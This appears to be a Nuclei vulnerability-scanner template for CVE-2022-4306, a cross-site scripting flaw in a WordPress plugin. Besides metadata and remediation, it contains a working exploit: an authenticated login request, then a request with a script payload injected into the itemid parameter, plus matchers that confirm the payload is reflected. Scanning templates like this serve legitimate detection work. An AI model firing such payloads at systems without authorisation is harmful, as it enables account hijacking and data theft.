nuclei-templates/http/cves/2022/CVE-2022-4306.yaml

50 lines
2.3 KiB
YAML
Raw Normal View History

2023-03-05 13:42:10 +00:00
id: CVE-2022-4306
info:
name: WordPress Panda Pods Repeater Field <1.5.4 - Cross-Site Scripting
2023-03-05 13:42:10 +00:00
author: r3Y3r53
severity: medium
description: |
WordPress Panda Pods Repeater Field before 1.5.4 contains a cross-site scripting vulnerability. The plugin does not sanitize and escape a parameter before outputting it back in the page. This can be leveraged against a user who has at least Contributor permission. An attacker can also steal cookie-based authentication credentials and launch other attacks.
2023-09-27 15:51:13 +00:00
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft or unauthorized actions.
2023-09-06 11:59:08 +00:00
remediation: Fixed in version 1.5.4.
2023-03-05 13:42:10 +00:00
reference:
- https://wpscan.com/vulnerability/18d7f9af-7267-4723-9d6f-05b895c94dbe
- https://nvd.nist.gov/vuln/detail/CVE-2022-4306
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
cvss-score: 5.4
cve-id: CVE-2022-4306
cwe-id: CWE-79
epss-score: 0.00086
epss-percentile: 0.35613
2023-09-06 11:59:08 +00:00
cpe: cpe:2.3:a:panda_pods_repeater_field_project:panda_pods_repeater_field:*:*:*:*:*:wordpress:*:*
2023-03-05 13:42:10 +00:00
metadata:
2023-06-04 08:13:42 +00:00
verified: true
2023-09-06 11:59:08 +00:00
max-request: 2
2023-07-11 19:49:27 +00:00
vendor: panda_pods_repeater_field_project
product: panda_pods_repeater_field
2023-09-06 11:59:08 +00:00
framework: wordpress
2023-12-05 09:50:33 +00:00
tags: cve,cve2022,xss,panda,pods,repeater,wordpress,wp-plugin,wpscan,authenticated,panda_pods_repeater_field_project
2023-03-05 13:42:10 +00:00
http:
2023-03-05 13:42:10 +00:00
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
2023-03-05 13:52:34 +00:00
2023-03-05 13:42:10 +00:00
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
GET /wp-content/plugins/panda-pods-repeater-field/fields/pandarepeaterfield.php?itemid=1&podid=1);%20alert(document.domain);/*x&iframe_id=panda-repeater-add-new&success=1 HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code_2 == 200'
- 'contains(body_2, "alert(document.domain)")'
- 'contains(body_2, "panda-repeater-add-new")'
condition: and
# digest: 4a0a00473045022100efdef162e87e00331b7a44e6c9e7d190c0570310e811d9473d1cea82e6d4f92f02204d16d4d684a851c9257918875a4e6c950bd7e10ed6fd94f48b13d6e471ee03f1:922c64590222798bb761d5b6d8e72950